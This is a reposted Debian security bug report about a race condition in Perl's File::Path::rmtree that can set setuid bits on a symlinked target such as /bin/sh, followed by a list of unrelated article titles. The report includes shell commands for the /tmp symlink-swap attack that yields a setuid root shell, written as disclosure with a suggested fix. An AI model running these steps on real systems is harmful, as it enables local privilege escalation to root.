博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
perl-modules: File::Path::rmtree makes setuid
阅读量:2435 次
发布时间:2019-05-10

本文共 1962 字,大约阅读时间需要 6 分钟。

Package: perl-modules

Version: 5.6.1-8.7
Severity: critical
File: /usr/share/perl/5.6.1/File/Path.pm
Tags: security
Justification: root security hole
Noting USN-44-1 e.g. in
 
I looked in perl-N.N.N/lib/File/Path.pm and noticed that rmtree contains
a race condition, allowing creation of setuid files:
   170          (undef, undef, my $rp) = lstat $root or next;
   171          $rp &= 07777;   # don't forget setuid, setgid, sticky bits
   172          if ( -d _ ) {
   ...
   209              if (rmdir $root) {
   210                  ++$count;
   211              }
   212              else {
   213                  carp "Can't remove directory $root: $!";
   214                  chmod($rp, ($Is_VMS ? VMS::Filespec::fileify($root) : $root))
   215                      or carp("and can't restore permissions to "
   216                              . sprintf("0%o",$rp) . "/n");
   217              }
   218          }
   ...
Example of attack: suppose we know that root uses rmtree to clean up
/tmp directories. Attacker prepares things:
  mkdir -p /tmp/psz/sh
  perl -e 'open F, ">/tmp/psz/sh/$_" foreach (1..1000)'
  chmod 4777 /tmp/psz/sh
While root is busy working on /tmp/psz/sh (and this can be made as slow
as we like), attacker does:
  mv /tmp/psz/sh /tmp/psz/dummy
  ln -s /bin/sh /tmp/psz/sh
Root would have recorded the permissions of /tmp/psz/sh, but would
"restore" it to /bin/sh.
I am not sure if things can almost be fixed (for those architectures
without $force_writeable) by enclosing the chmod($rp,...) line within
if(!safe|$force_writeable){...}. Maybe it should be documented that
rmtree must only be used if you can be sure to have exclusive access to
the tree.
(A few minutes ago I emailed the File::Path authors Tim.Bunce@ig.co.uk
and bailey@newman.upenn.edu; Tim.Bunce bounced.)
Cheers,
Paul Szabo - psz@maths.usyd.edu.au 
School of Mathematics and Statistics  University of Sydney   2006  Australia
-- System Information
Debian Release: 3.0
Architecture: i386
Kernel: Linux pisa.maths.usyd.edu.au 2.4.22-smssvr1.5.3 #1 SMP Wed Jun 23 13:01:39 EST 2004 i686
Locale: LANG=C, LC_CTYPE=C
Versions of packages perl-modules depends on:
ii  perl                          5.6.1-8.7  Larry Wall's Practical Extraction

转载地址:http://qtqmb.baihongyu.com/

你可能感兴趣的文章
最新最全的Portlet 通信过程详解
查看>>
在LINUX中安装WEB SPHERE5.1的正确方法
查看>>
WebSphere简单故障排查
查看>>
ITCAM for Websphere v6.0与ITM v6.1集成的快速指南
查看>>
数据泵 TTS(传输表空间技术)
查看>>
weblogic管理2 - 创建并启动一个managed server
查看>>
linux下开机自动开启单机oracle
查看>>
weblogic管理1——创建 和 删除一个domain
查看>>
SQL开发--经典建议(转载)和大家分享
查看>>
网络上经典的DOS小命令(转)
查看>>
sqlserver中的一些技巧(转)
查看>>
简化Windows 2003域控制器密码(转)
查看>>
GSM无线网络的虚拟分层(转)
查看>>
不用重装 轻松解决Windows系统棘手问题(转)
查看>>
对移动通信网络优化工作的一些见解(转)
查看>>
正确网络配置建议 减少卡机死机的关键(转)
查看>>
智能手机Smartphone开发从零起步(五)(转)
查看>>
SEO技巧中你可能没有注意的细节(转)
查看>>
微软开始二代Windows Live 不见Cloud OS踪影
查看>>
创建ISAPI扩展(转)
查看>>